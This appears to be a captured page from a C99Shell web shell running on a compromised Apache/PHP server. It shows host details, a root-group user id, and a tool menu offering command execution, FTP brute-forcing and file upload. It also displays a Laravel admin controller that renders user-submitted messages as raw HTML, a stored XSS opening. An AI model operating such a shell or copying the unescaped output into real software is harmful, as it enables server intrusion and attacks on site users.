!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FrontContactController.php (1.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\FrontContact;
use 
Illuminate\Http\Request;

class 
FrontContactController extends Controller
{
    public function 
frontContact(){
        return 
view('admin.front_contacts.index');
    }
    public function 
getAll(){
        
$faq FrontContact::select(['id''first_name''last_name''created_at','message','email']);
        return 
datatables()->of($faq)
            ->
addColumn('created_at', function ($q) {
                return 
$q->created_at->format('d-m-Y');
            })
            ->
addColumn('name', function ($q) {
                return 
$q->first_name.''.$q->last_name;
            })
            ->
addColumn('message',function ($q){
                return 
"<div class='show-more' style='max-width: 500px;white-space: pre-wrap'> $q->message </div>";
            })
            ->
addColumn('action', function ($q) {

                return 
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this message"
                                        data-action=' 
route('admin.front.contacts.destroy', ['id'=>$q->id]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm">Delete</button>'
;
            })
            ->
rawColumns(['action','message'])
            ->
toJson();
    }
    public function 
destroy(Request $request){
        
FrontContact::where('id',$request->id)->delete();
        return 
redirect()->back()->with('success'trans('Fronted contact message successfully deleted'));

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0031 ]--